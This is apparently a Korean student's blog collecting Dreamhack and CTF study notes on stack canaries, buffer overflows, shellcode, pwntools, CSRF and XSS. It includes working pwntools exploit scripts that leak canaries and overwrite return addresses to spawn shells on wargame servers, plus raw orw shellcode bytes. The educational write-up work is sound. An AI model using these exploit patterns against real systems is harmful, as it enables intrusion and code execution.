1. About Stack Canary

1.1 What is it?

스택 버퍼 오버플로우로 부터 반환 주소를 보호하는 기법

1.2 카나리 비활성화

-fno-stack-protector 옵션 추가

gcc -o file_name file_name.c -fno-stack-protector

1.3 fs

TLS(Thread Local Storage)를 참조하는 세그먼트 레지스터

리눅스 프로세스 시작시 fs:0x28에 랜덤 값 저장 -> rbp-0x8에 최종 저장
확인법 : xor rcx, fs:0x28 통해서 같지 않으면 에러메세지 출력 -> stack canary

fs확인법

info register fs, print $fs 불가능
arch_prctl(int code, unsinged long addr) 시스템 콜에 중단점 설정하여 fs어떤값으로 설정되는지 조사
- arch_prctl(ARCH_SET_FS, addr) 형태 호출시 addr로 설정됨
  1. gdb's command of catch
  - 특정 이벤트 발생시 프로세스 중지
- catch syscall arch_prctl 이후 실행 -> init_tls() 도달할때까지 continue

gdb's commadn of watch
- 특정 주소에 저장된 값 변경되면 프로세스 중단
- rdi : ARCH_SET_FS 값
- rsi : addr 값이 해당 레지스터에 저장되어 있는 주소값

*canary 첫바이트 null byte인 이유 *

버그 발생하여 strcpy등 함수 통해 스택 복사하게 될 때, 널 바이트 통해 카나리 값과 그 이후의 스택값이 유출되지 않게 하기 위함

1.3 카나리 우회

1.Brute Force

진짜 서버 대상으로 하기에는 비효율적

2. TLS 접근

카나리는 TLS에 저장되며 카나리에 의해 보호되는 함수마다 이를 참조해서 사용

매 실행마다 바뀌지만 실행중 주소 알 수 있고, 임의 주소에 대한 읽기, 쓰기가 가능한경우
- 이후 스택 버퍼 오버플로우 수행시 알아낸 카나리 값 또한 조작한 카나리 값으로 스택 카나리 덮으면 함수의 에필로그에 있는 카나리 검사 우회 가능 (이후 실습 통해 다룰것)

3. 스택 카나리 릭

nullptr 까지 입력하여 버퍼에 입력하여 카나리 주소를 유출시켜 해당 주소를 통해서 exploit

2. Return to shellcode

2.1 code 분석

#include 
#include 

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
    char buf[0x50];

    init();

    printf("Address of the buf: %p\n", buf);
    printf("Distance between buf and $rbp: %ld\n",
           (char*)__builtin_frame_address(0) - buf);

    printf("[1] Leak the canary\n");
    printf("Input: ");
    fflush(stdout);

    read(0, buf, 0x100);
    printf("Your input is '%s'\n", buf);

    puts("[2] Overwrite the return address");
    printf("Input: ");
    fflush(stdout);
    gets(buf);

    return 0;
}

해당 코드를 보며 알 수 있는 내용

buf의 주소를 알려줌 (매 실행마다 바뀜)
buf <-> $rbp(sfp) 거리를 알려줌
- sfp - 8 = canary

2.2 exploit code

#! /usr/bin/python3 

from pwn import *

def slog(n, m):
    return success(':'.join([n, hex(m)]))

p = process('./r2s')

context.arch = 'amd64'

p.recvuntil(b'buf: ')
buf = int(p.recvline()[:-1], 16)
slog('Address of buf', buf)

p.recvuntil(b'$rbp: ')
buf2sfp = int(p.recvline()[:-1])
buf2cnry = buf2sfp - 8

slog('buf <=> sfp', buf2sfp)
slog('buf <=> canary', buf2cnry)

payload = b'A' * (buf2cnry +1)
p.sendafter(b'Input:', payload)
p.recvuntil(payload)

cnry = u64(b'\x00' + p.recvn(7))
slog('Addressof canary', cnry)

sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b'A') + p64(cnry) + b'B'*0x8 + p64(buf)
p.sendlineafter(b'Input:',payload)

p.interactive()

slog함수 : 2번째 arg의 값을 16진수로 바꿔서 출력

shellcraft.sh() : /bin/sh 에 접근할수 있는 쉘코드 자동 작성

1st payload : Canary leak 위한 작업 => 버퍼 채우기 + nullbyte값까지 채우기 -> 나머지 7byte 알수 있음

2nd payload

sh.ljust(buf2cnry, b'A') => 쉘코드를 buf2cnry만큼의 공간에 왼쪽부터 채우고 남는 공간은 b'A'로 채운다 => 버퍼 채우기

p64(cnry) : packing

b'B' * 0x8 : sfp 채우기

p64(buf) : ret 주소를 buf로 하여 shellcode 실행

3.SSP_001

3.1 코드 분석

#include 
#include 
#include 
#include 
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

F / P / E 중 하나를 입력을 받은 후 각각에 알맞은 함수를 호출한다.

alarm 설정 되어있고 30초안에 끝내야함

3.2 취약점

E : name 버퍼의 사이즈를 사용자가 직접 할당 가능

P : index에 따라서 해당 버퍼에 저장된 hexbyte 출력

3.3 버퍼, 스택 구조 요약

(Low) box(64bytes) -> name(64bytes) -> canary(4bytes) -> dummy(4bytes) -> sfp(4bytes) -> ret(4bytes) (High)

3.4 exploit code

#! /usr/bin/python3 

from pwn import *

def slog(name, addr):
  return success(" : ".join([name, hex(addr)]))

p = remote("host1.dreamhack.games", 11999)

e = ELF('./ssp_001')

get_shell = e.symbols['get_shell']

#Canary leak

canary = b""

i = 131
while i >= 128:
  p.sendlineafter("> ", 'P')
  p.sendlineafter("Element index : ", str(i))
  p.recvuntil("is : ")
  canary += p.recvn(2)
  i -= 1

canary = int(canary, 16)
slog("canary", canary)


#BOF
payload = b'A' * 64
payload += p32(canary)
payload += b'A' * 8
payload += p32(get_shell)

p.sendlineafter("> ", 'E')
p.sendlineafter("Name Size : ", str(1000))
p.sendlineafter("Name : ", payload)

p.interactive()

ELF (Executable and Linkable Format) 에서 get_shell의 symbol(주소) 가져온다

canary 주소 파악 : box(64) + name(64) => 128 ~ 131 little endian으로 packing 작업 위해 뒤에서 부터 가져온다

payload 작성 name(64) + canary + dummy(8bytes) + ret(4, get_shell)

위의 Payload에서 dummy 추가한 이유

ebp = 0x00000000
ebp-0x8 = canary = 0x42825d0
little-endian 32 이기 떄문에 canary 4bytes => 즉 canary, ebp(sfp) 사이의 dummy 채워줘야함
Ret = 0xf7d92d97 -> get_shell로 overwirte 작업 수행할 공간

[드림핵 - 시스템] Stack Buffer Overflow

Sat, 23 Nov 2024 03:50:56 GMT

1. Overflow

1.1 Stack Overflow Vs Stack Buffer Overflow

전자 : 스택 영역이 너무 많이 확장되어 발생하는 버그 후자 : 스택에 위치한 버퍼의 크기보다 많은 데이터가 입력되어 발생하는 버그

버퍼 : 데이터가 목적지로 이동되기 전에 보관되는 임시 저장소

2 Dreamhack Return Address Overwirte 취약점

scanf("%s", buf)
%s 는 문자열을 입력 받을때 사용
- 입력의 길이 제한하지 않는다 (공백문자 : 띄어쓰기, 탭, 개행 문자 등) 올때 까지 계속 입력받음)
- %s 절대 사용 금지 => "%[n]s" 형태로 사용할 것!!
- 이외에도 취약한 것들 : 버퍼를 다루지만, 길이를 입력하지 않는 함수들
  strcpy, strcat, sprntf
  - 보완 => 버퍼의 크기를 같이 입력하는 것
    - strncpy, strncat, snprintf, fgets, memcpy emdZ
- Index-Out-Of-Bound(OOB) : 참조하려는 인덱스 값이 배열의 크기보다 커지는 현상
- Segmentation fault : 프로그램이 잘못된 메모리 주소에 접근했다는 의미
  해당에러 발생후 "/var/lib/apport/coredump" 경로에 코어 파일 생성
  - 생성되지 않은경우 해당명령어 실행 $ ulimit -c unlimited

2-1 exploit

해당 코드에서는 scanf를 위해 buf 공간 0x30만큼 할당 return address 와 거리는 0x38만큼 차이
get_shell 함수의 주소 확인

gdb 실행 후 -> print get_shell

#! /usr/bin/python3

from pwn import *

p = remote('host3.dreamhack.games', 21657)

elf = ELF('./rao')
get_shell = elf.symbols['get_shell']

payload = b'A'*0x30            //쓰레기값
payload += b'B'*0x8            //쓰레기값
payload += p64(get_shell)    //return address 삽입(little endian으로)

p.sendline(payload)

p.interactive()                //셸 획득후 셸에서 command 입력

[드림핵 -시스템] pwntools

Sat, 23 Nov 2024 03:14:21 GMT

1. pwntools

1-1 install

$ apt-get update
$ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
$ python3 -m pip install --upgrade pip
$ python3 -m pip install --upgrade pwntools


- 해당 메서드를 차례대로 실행시 3번째 줄에서 막힐수도 있을 것이다. 그럴때 해당 명령어 사용
``` $ python3 -m pip config set global.break-system-packages true```





## 1-2 instruction of pwntools API

- 공식 : https://docs.pwntools.com/en/latest/
- 해당 정리 노트는 dreamhack 강의 페이지 참조

### 1. process & remote
- process : 로컬 바이너리 대상으로
  - 익스플로잇 테스트, 디버깅 목적
  
 
- remote : 원격 서버 대상
  - 서버 실제로 공격 목적

```python
from pwn import *
p = process("./test")
p = remote("example.com", port_num)

2. send

프로세스에 데이터 전송하기 위해 사용
```
from pwn import *
p = process('./test')
```

p.send(b'A') # ./test에 b'A'를 입력 p.sendline(b'A') # ./test에 b'A' + b'\n'을 입력 p.sendafter(b'hello', b'A') # ./test가 b'hello'를 출력하면, b'A'를 입력 p.sendlineafter(b'hello', b'A') # ./test가 b'hello'를 출력하면, b'A' + b'\n'을 입력





### 3. recv 
- 프로세스에서 데이터 받기 위해 사용
- recv(n) : n바이트만큼 받겠다. 못받아도 error X
- recvn(n) : 정확히 n 바이트의 데이터를 받지 못하면 계속 기다림

```python
from pwn import *
p = process('./test')

data = p.recv(1024)  # p가 출력하는 데이터를 최대 1024바이트까지 받아서 data에 저장
data = p.recvline()  # p가 출력하는 데이터를 개행문자를 만날 때까지 받아서 data에 저장
data = p.recvn(5)  # p가 출력하는 데이터를 5바이트만 받아서 data에 저장
data = p.recvuntil(b'hello')  # p가 b'hello'를 출력할 때까지 데이터를 수신하여 data에 저장
data = p.recvall()  # p가 출력하는 데이터를 프로세스가 종료될 때까지 받아서 data에 저장

4. packing, unpacking

어떤 값을 엔디언 형식으로 변경 혹은 그 반대로 변경 시 사용
p : packing
- p32 / p64(0x12345678) -> \0x00\0x00... \0x78\0x56\0x34\0x12
- little(default), p64(..., endiand = 'big')
u : unpacking
- u32 / u64("\0x78\0x56...") -> 0x12345678

5. interactive

셸 획득해 특정상황에 직접 입력 주면서 출력 확인하고 싶을때 사용
터미널에 직접 데이터 입력, 프로세스 출력 확인 가능

from pwn import *
p = process('./test')
p.interactive()

6. context.arch

공격 대상의 아키텍쳐 설정

from pwn import *
context.arch = "amd64" # x86-64 아키텍처
context.arch = "i386"  # x86 아키텍처
context.arch = "arm"   # arm 아키텍처

7. shellcraft

공격에 필요한 셸 코드를 쉽게 꺼내 쓸수 있게 해줌
단점 : 정적으로 생성된 셸코드는 셸 코드가 실행될 때의 메모리 상태 반영 못함

[드림핵 - 시스템]Shellcode

Sat, 23 Nov 2024 02:33:43 GMT

1. 용어 정리

셸코드 : 익스플로잇 위해 제작된 어셈블리 코드 조각

rip를 자신이 작성한 셸코드로 옮기는 것이 중요

exploit : 시스템 공격하는 행위

orw shell code : 파일 열고, 읽은 뒤 화면에 출력하는 셸코드

1-1 orw shell code

#define    0_RDONLY    0
#define    0_WRONLY    1
#define    0_RDWR        2

Char buf[0x30];

Int fd = open(“/tmp/flag”, RD_ONLY, NULL);
read(fd, but, 0x30);
write(1, buf, 0x30);

1-1-1 syscall 정리

1. open

rax : 0x02

rdi : const char *filename

rsi : int flags

rdx : umode_t mode

Int fd = open(“/tmp/flag”, RD_ONLY, NULL);

"/tmp/flag" 문자열을 메모리에 위치시켜야함 이후 리틀엔디안형식으로 변환
stack은 8바이트 단위로만 값 push 가능 8바이트 단위로 나누어줌
rsi : 0 => xor rsi, rsi / mov rsi, 0
rdx : mode = 0 -> mov rdx, 0 / xor rdx, rdx
rax : mov rax, 0x2

2. read

rax : 0x00

arg0(rdi) : unsigned int fd

arg1(rsi) : char *buf

arg2(rdx) : size_t count

read(fd, but, 0x30);

open의 return 값은 %rax로 저장 => mov %rdi, %rax
rsi : 데이터 저장할 주소 : 0x30만큼 읽을 것 => mov rsi, rsp / sub rsi, 0x30
rdx : 0x30 => mov rdx, 0x30
read수행 위해 rax 0으로 설정 => mov rax, 0 / xor rax, rax

3. write

rax : 0x01

rdi : unsigned int fd

rsi : const char *buf

rdx : size_t count

write(1, buf, 0x30);

rdi 0x1로 설정 => fd = 1 / 0 = 일반 입력 / 1 = 일반 출력 / 2 = 일반 오류
rsi, rdx 그대로
mov rax, 1

2. Shell_basic

2-1 풀이방법

해당문제는 2개의 풀이방법이 존재하였다.

asmbly 언어를 직접 작성하여 hexdump를 이용해 shellcode를 직접 주입하는 방법
pwntools 에서 제공하는 메서드를 이용하여 orw 셸코드를 작성하는 방법

2-2 explain of asm

실제로 해당 코드를 작성하는 것은 어렵지 않았다. 우리가 해야할일은 Open -> read -> write 순으로 시스템 콜을 호출하기만 하면 되는 것이다. 위의 내용들을 참조하여 셸코드를 작성해볼 수 있다.

2-2-1 assembly 작성

 global _open

_open:
    ;path를 hex로 변환후 little endian으로 변환시켜 스택에 push
    push 0x0
    mov rax, 0x676E6F6F6F6F6F ;8byte 단위로 push하여야함
    push rax
    mov rax, 0x676E6F6F6F6F6F
    push rax
    mov rax, 0x6D616E5F67616C
    push rax
    mov rax, 0x662F6369736162
    push rax
    mov rax, 0x5F6C6C6568732F
    push rax

    mov rdi, rsp
    xor rsi, rsi
    xor rdx, rdx
    mov rax, 2
    syscall        ;open

    mov rdi, rax
    mov rsi, 0x30
    mov rdx, 0x30
    mov rax, 0
    syscall        ;read

    mov rdi, 1
    mov rax, 1
    syscall        ;write

    xor rdi, rdi
    mov rax, 0x3c
    syscall        ;exit

2-2-2 hexdump

해당 코드를 작성했다면
1. object file 생성 nasm -f elf64 filename.asm
2. bin 파일 생성 objcopy --dump-section .text=filename.bin filename.o
3. 해당 파일 출력 xxd filname.bin

2-2-3 python코드 작성

filname.bin 코드에서 assembly언어의 hex값만 추출해야함
```
#! /usr/bin/python3
```

file_path = "./write.bin"

with open(file_path, "rb") as file: machine_code = file.read() for byte in machine_code: print("\x{:02x}".format(byte), end="")

print()




- 추출한 hex 값을 복사하여 exploit code 작성

```python
#! /usr/bin/python3

from pwn import *

p = remote("host3.dreamhack.games", 11673)
context.arch = "amd64"

shellcode = b"\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05"
p.sendlineafter("shellcode: ", shellcode)
print(p.recv(1024))

2-3 explain of pwntools

pwntools 에서는 위의 orw 셸코드를 직접 작성하지 않아도 되도록 메서드를 지원한다.
```
#! /usr/bin/python3
```

from pwn import *

p = remote('host3.dreamhack.games', 8658) context.arch = "amd64" r = "/home/shell_basic/flag_name_is_loooooong"

shellcode = '' shellcode += shellcraft.open(r) shellcode += shellcraft.read('rax', 'rsp', 0x100) shellcode += shellcraft.write(1, 'rsp', 0x100)

p.recvuntil("shellcode: " ) p.sendline(asm(shellcode)) print(p.recv())

```

Machine level of System

Fri, 22 Nov 2024 07:28:24 GMT

1. Assembly Basic

1-1 Data Formats

C declaration / intel data type / suffix / Size

char / Byte / b / 1
short / Word / w / 2
int / Double word / l / 4
long / Quod word / q / 8
char* / Quad word / q /8
float / Single precision / s / 4
double / Double precision / d / 8

1-2 Moving data

movq Src, Dest

Operand Types
- immediate : $0x11..
- register : %rax
- Memory : (%rax)
  - src, Dest : 둘중 하나 이상은 register가 들어가야함
Memory Addressing Modes
D(Rb, Ri,S) D : displacement Rb : Base register Ri : Index register S : Scale
- (Rb + Ri * S) + D

2. Procedures

2-1 Stack

FIFO

높은 주소(%rbp) -> 낮은 주소(%rsp)

pushq Src : %rsp - 8 이후 스택에 적재

pop Dest : %rsp 가 가리키는 값 추출 후 %rsp + 8

2-2 Control Flow

call label

1.자동 push (call 다음 명령어 주소 = 복귀 주소)

2.이후 label로 jump

ret
자동으로 pop
- rip가 ret 주소에 도착할 경우 저절로 스택에 저장된 주소값으로 복귀한 후 %rsp + 8

2-3 Data Flow

First 6 arguments
1. 1st arg : %rdi
2. 2nd arg : %rsi
3. 3th : %rdx
4. 4th : %rcx
5. 5th : %r8
6. 6th : %r9
- 추가 arg는 스택에 저장
return values = %rax에 저장
Stack Frames

각 함수별 스택의 공간 할당되고 이를 stack frames라 한다 %rbp는 Framepointer로써 제일 상단의 주소를 가짐 함수내의 함수 선언할 경우 %rsp의 값을 %rbp로 바꾼후 차례대로 push...
caller, callee saved : 함수 호출된후 해당 레지스터의 값의 변조를 예방하기 위해 스택에 저장

1.caller saved
- %r10, %r11
  
  2.callee saved
- %rbx, %r12, %r13, %r14
- %rbp: frame pointer지만 callee-saved로도 사용가능

3. Data

3-1 Array

array T A[L]
- T : data Type
- L : length
- size = T * L
연속적으로 메모리에 할당됨
접근

-A[i][j], k = sizeof(datatype) c = columns)
```
  - A + (i * c+ j) + k
```

포인터 이용과 비교

유연성 측면에서는 포인터로 구현하는 것이 유리

포인터로 구현할시 메모리를 2번 읽어야하므로 효율성 측면에서는 연속적하당이 유리

3-2 structure

구조체의 제일 첫번째에 선언된 배열 혹은 요소 접근시 : 주소 + index * size()

정렬되지 않은 data들에 대해 정렬하기 위한 패딩값이 생기게됨

기준은 가장큰 byte값을 가지는 자료형을 기준 : double = 8bytes

위 그림에서는 8바이트 기준으로 정렬 이루어져야 함 -> 8 / 8 / 8
- 즉 내림차순으로 정렬하여 선언하는 것이 중요하다
- 구조체 배열 접근 : 구조체 하나 크기 * Index + 접근하고자 하는 element

4. Misc / Advanced Topics

4-1 Memory Layout

stack : 8MB limit

Heap : 동적할당

Data : 전역, static

Text, Shared Libraries : read only

4-2 buffer Overflow

버퍼의 용량을 초과한 Index값에 접근하는 경우

위의 그림은 사용량을 체크하지 않았다.
취약한 라이브러리 : gets, strcpy, scanf(%s)...
보완 : gets -> fgets, strcpy -> strncpy, %s -> %ns)

4-2-1 Avoid

Stack addr를 랜덤값으로 변경

Stack Canaries : 사이즈 이외의 값에 침범하지 못하도록 설정

카나리 값과 일치하는지 확인한다

Shadow Stack

memory Tag

Bit-level of System

Fri, 22 Nov 2024 07:00:22 GMT

1. integer

1-1 signed

sign : 1 - neg(-), 0 - pos(+) just 1 bit 부호비트 제외한 모든 비트는 크기를 표시

signed 특징

음수표현 : 2의 보수법 채택 (~x + 1) 범위 : -2 ^ (x-1) ~ 2 ^ (x-1) - 1

char, int, long 등 사이즈 할당 가능 해당 bit 크기만큼만 표현이 가능하기에 overflow 가능성
Tmin = 1000000...0, = Tmax + 1

2. Floating

Sign : 1 - neg, 0- pos 1bit Exp : single precision - 8bit, double precision - 11bit, 지수부 Frac : 가수부 v = (-1) ^ s * M * 2 ^ E bias = 2 ^(k-1) - 1, k = Exp bit

Rounding

종류

Towards zero : 0 쪽으로 rounding -1.6 -> -1... Round down : -inf 쪽으로 rounding Round up : + inf 쪽으로.. Nearest Even(default) : 짝수쪽으로.. = Round to even
Round-To-Even

특징 : 오차가 더 적음 방법 : halfway 이상일 때 표현하고자 하는 자릿수가 짝수가 되도록 반올림 여부 결정
example of Round-To-Even

7.89(49999) -> 7.89 : halfway 보다 작음

7.89(50001) -> 7.90 : halfway보다 크고, 홀수임 7.89(500000) -> 7.90 : halfway이고, 홀수임 7.88(5000) -> 7.80 : halfway이지만, 짝수임

half way 보다 크다면 무조건 올림, halfway라면 표현하고자 하는 자릿수의 수가 홀수인 경우에만 올림 -> binary인경우에도 동일하게 적용됨

binary halfway = 100, 100인경우 : 홀수일때 올림, 짝수인경우 유지 1000..1(100보다 큰경우) : 무조건 올림

[wirte-up]GCHD - web

Thu, 24 Oct 2024 11:16:10 GMT

GCHD CTF writeup -web

1. 문제 설명

파일 3개 제공 (index.php, file_up.php, download.php)

url 제공

업로드한 파일 다운받을 수 있도록 하는 페이지

2. 문제 분석

2.1 Dynamic Analysis

url 접속시 페이지
파일 업로드 해보기 : jpg
download에 표시됨
python 코드 있는거 올려봄
막힘

2. Static Analysis

upload.php
1. 이미지, php, size 100 보다 큰지 체크
2. uploads dir 에 저장되는거 확인

download.php
1. header에 저런 정보를 넣어서 보내구나..

3. 문제 풀이

nmap 이용하여 port scan시 8989 포트 확인 가능

gobuster 이용해 cgi-bin directory 확인가능

결론
- 8989 포트에서 cgi-bin 파일에 python 파일 업로드하기
- burpsuit 통한 path traversal 취약점
  - shebang 통한 이미지 파일, 크기 필터링 우회 취약점
exploit 코드
path traversal : burpsuit intercept 킨후 filename을 이와 같이 변경 후 forward
파일 업로드 확인
해당경로명 입력 -> flag 획득

[wirte-up]Questcon - web

Thu, 24 Oct 2024 10:37:04 GMT

Questcon CTF Write UP

1. 문제 설명

문제명 : direction

추가 파일, 설명 없음

url 제공

1.1 문제 설명 화면

접속시 화면

2. 문제 풀이

2.1 접근했던 방법들

숨겨진 포트 있는지 nmap 통한 포트 스캐닝
PUT 메소드 통해서 쉘코드 삽입 가능한지 확인
ur에 통한 XSS 확인
숨겨진 dir or file 있는지 gobuster 사용
작년 CTF 참조 -robots.txt파일에 disallow했던 문제 확인

robots.txt 파일 확인
/start 접근 : GET 메소드 안되는 것 확인 -> 다른 메소드로 전송 해보기로 함 ![] (https://velog.velcdn.com/images/gook_bob/post/1c884f29-9786-4eb0-b793-a13402dab69d/image.png)
firefox에서 POST로 변경후 resend
결과 : redirect0~4 GET 요청도 들어가짐

각각 response 확인 : X-Flag-Part 보면 flag 확인 가능

flag : QUESTCON{mj3dir3ct10n_15_4n_4r}

[드림핵-웹] CSRF

Wed, 09 Oct 2024 09:04:52 GMT

1. Definition

1-1 What is CSRF

Cross Site Request Forgery : 교차 사이트 요청 위조 사이트간 요청을 위조하여 이용자가 자신의 의지와는 무관하게 공격자가 의도한 행위를 특정웹사이트에 요청하게 만드는 공격

이미 서명된 문서의 내용 조작
이용자 속여 의도치 않은 요청에 동의하게 하는 공격
그럴듯한 페이지 만들어서 입력 유도

1-2 Compare CSRF to XSS

공통점

클라이언트 대상 공격
이용자가 악성 스크립트 포함된 페이지 접속하도록 유도

차이점

XSS : 인증 정보 탈취 목적 -> 사이트의 오리진에서 스크립트 실행
CSRF
- 이용자가 임의 페이지에 HTTP 요청 보내는 것을 목적
- 공격자는 악성 스크립트 포함된 페이지에 접근한 이용자의 권한으로 웹 서비스의 임의 기능 실행 가능

2. Explanation

2-2 CSRF-1

2-2-1 Dynamic Analysis

서버 접속
csrf page
memo page
notice flag page
flag page

써서 반응 확인
작동 X

memo page update

reload 될 때마다 페이지 update

2-2-2 Static Analysis

read_url 함수

url, cookie를 파라미터 값으로 가진다.

check_csrf 함수

read_url을 실행한 값을 return

/vuln

xss_filter -> CSRF 기법만 사용가능

/flag

param 값 지정 가능
post 요청시 check_csrf 함수 실행

/memo

flag 표시가능

/admin/notice_flag

userid 값이 admin인 경우 FLAG 얻을 수 있음

정리
1. flag 값을 얻기 위해서는 /admin/notice_flagd 페이지에 userid 값이 admin인 client가 요청을 보내야함
2. /flag page 에서는 CSRF 공격을 해야함
3. /memo page에서 flag 확인
exploit 코드

flag 획득

2-2 CSRF-1

2-2-1 Dynamic Analysis

서버 접속
csrf page
flag page
login page
반응 확인
결과

2-2-2 Static Analysis

dictionary

ID : PW
guest로 접속
쿠키 확인 가능

read_url 함수
check_csrf

param, cookie 파라미터 값
read_url 실행값 리턴

/vuln

xss_filter -> CSRF 공격만 가능

/flag
/login
/change_password

요청에 pw값을 넣을 수 있다

정리
1. admin으로 접속하면 Home page에 flag값이 뜬다
2. /change_password의 pw값을 통해 admin의 비밀번호 변경
3. 변경한 비밀번호로 로그인
코드

로그인
flag 획득

3. Prevent

CSRF tokens 사용

Strict SameSite cookie restrictions 사용

3-1 CSRF tokens

세션 토큰과 비슷한 개념, 엔트로피가 높은경우 예측 불가

생성 : CSPRNG(Cryptographically Secure Pseudo-random Number Generator) 사용
전송 :
검증 : 요청시 토큰 없거나, 유효하지 않은 경우 거절

SameSite

크로스 사이트로 전송하는 요청의 경우 쿠키의 전송에 제한
정책 : None < Lax < Strict
기본적으로 Strict 정책 default, 특별한 경우에만 lax로 낮춤

[드림핵-웹] XSS

Wed, 09 Oct 2024 06:56:42 GMT

1. Definition

1-1 What is XSS

Cross Stie Scripting 클라이언트 사이드 취약점 중 하나로써 웹 페이지의 이용자를 대상으로 하는 공격 기법이다.

세션 및 쿠키 정보 탈취 -> 해당 계정으로 임의의 기능 수행
웹 리소스에 악성 스크립트 삽입해 이용자의 웹 브라우저에서 해당 스크립트 실행 가능

1-2 Classification by type of occurrence

1. Stored XSS : XSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS

서버, DB에 저장된 악성 스크립트 조회시 발생
게시물, 댓글에 포함시켜 업로드

2. Reflected XSS : XSS에 사용되는 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSS

게시판 서비스에서 작성된 게시물 조회하기 위한 검색창에서 스크립트 포함해 검색하는 방식
URL과 같은 이용자의 요청에 의해 발생
공격을 위해서는 다른 이용자를 악성 스크립트가 포함된 링크에 접속하도록 유도해야함
Click Jacking, Open Redirect 등 다른 취약점과 연계하여 사용

3. DOM-Based XSS : XSS에 사용되는 악성 스크립트가 URL Fragment에 삽입되는 XSS

Fragment는 서버 요청/응답에 포함되지 않는다.

4. Universal XSS : 클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점

SOP(Same Oring Policy) 정책을 우회하는 XSS

2. Explanation

2-1 XSS-1

1. /vuln 코드 확인

param 값을 Return

2. /memo 코드 확인

memo에 입력된 값을 가져와서 화면에 출력
cookie 값을 읽을 수 있는 page

3. /flag 코드 확인

get 요청인지, post 요청인지 확인 후 그에 맞는 값 return
script 코드 이용해서 XSS 사용 가능

4. 코드 입력

5. flag 확인

2-2 XSS-2

1. /vuln

2. /memo

3. /flag

5. 풀이

이번에도 flag 페이지에서 어떠한 코드를 입력했을때 해당 flag가 나오도록 되어있다. XSS-1 과는 다르게

gook_bob

[드림핵-시스템] Double Free Bug

1. Double Free Bug

1-1 정적 패치 분석

1-2동적 분석

2. tcache_poison

2-1 동적 분석

2-2 정적 분석

2-3 exploit code

3. Tcache_dup

3-1 동적 분석

3-2 정적 분석

3-3 exploit code

4. tcache_dup2

4-1 정적 분석

4-2 exploit code

[드림핵-시스템] Memory Corruption : Use After Free

1. ptmalloc2

1-1 구현 목표

1. 메모리 낭비 방지

2. 빠른 메모리 재사용

3. 메모리 단편화 방지

1-2 ptmlloc의 객체

2. chunck

3. bin

3-1 small bin

3-2 fastbin

3-3 largebin

3-4 unsortedbin

청크 할당 탐색 순서

4. ARENA

5. tcache

6. Use After Free

6-1 Dangling Pointer

6-2 UAF

6-3 Code 분석

6-4 exploit code

[드림핵-시스템] Memory Corruption : Format String Bug

1. Format String

1-1 Format String Bug

2. fsb_overwrite

2-1 code 분석

2-2 exploit code

3. baisc_002

3-1 code 분석

2-2 exploit code

3. basic_003

3-1 code 분석

3-2 exploit code

[드림핵-시스템]Bypass PIE & RELRO

1. PIC

2. PIE

2-1 PIE on ASLR

2-2 PIE 우회

3. RELRO

3-1 RELRO 우회

hooking

Hook Overwrite

one_gadget

4. fho

4-1 code 분석

5. oneshot

5-1 code 분석

5-2 exploit code

6. hook

6-2 exploit code

[드림핵-시스템] Mitigation: NX & ASLR

1. NX, ASLR

1-1 NX

1-1-1 gdb vmmap

1-2 ASLR

1-2-1 특징

2. Library

2-1 Dynamic library link

2-2 Static library link

3. PlT & GOT

4. Return To Library

4-1 코드 분석

4-2 Exploit code

4-3 details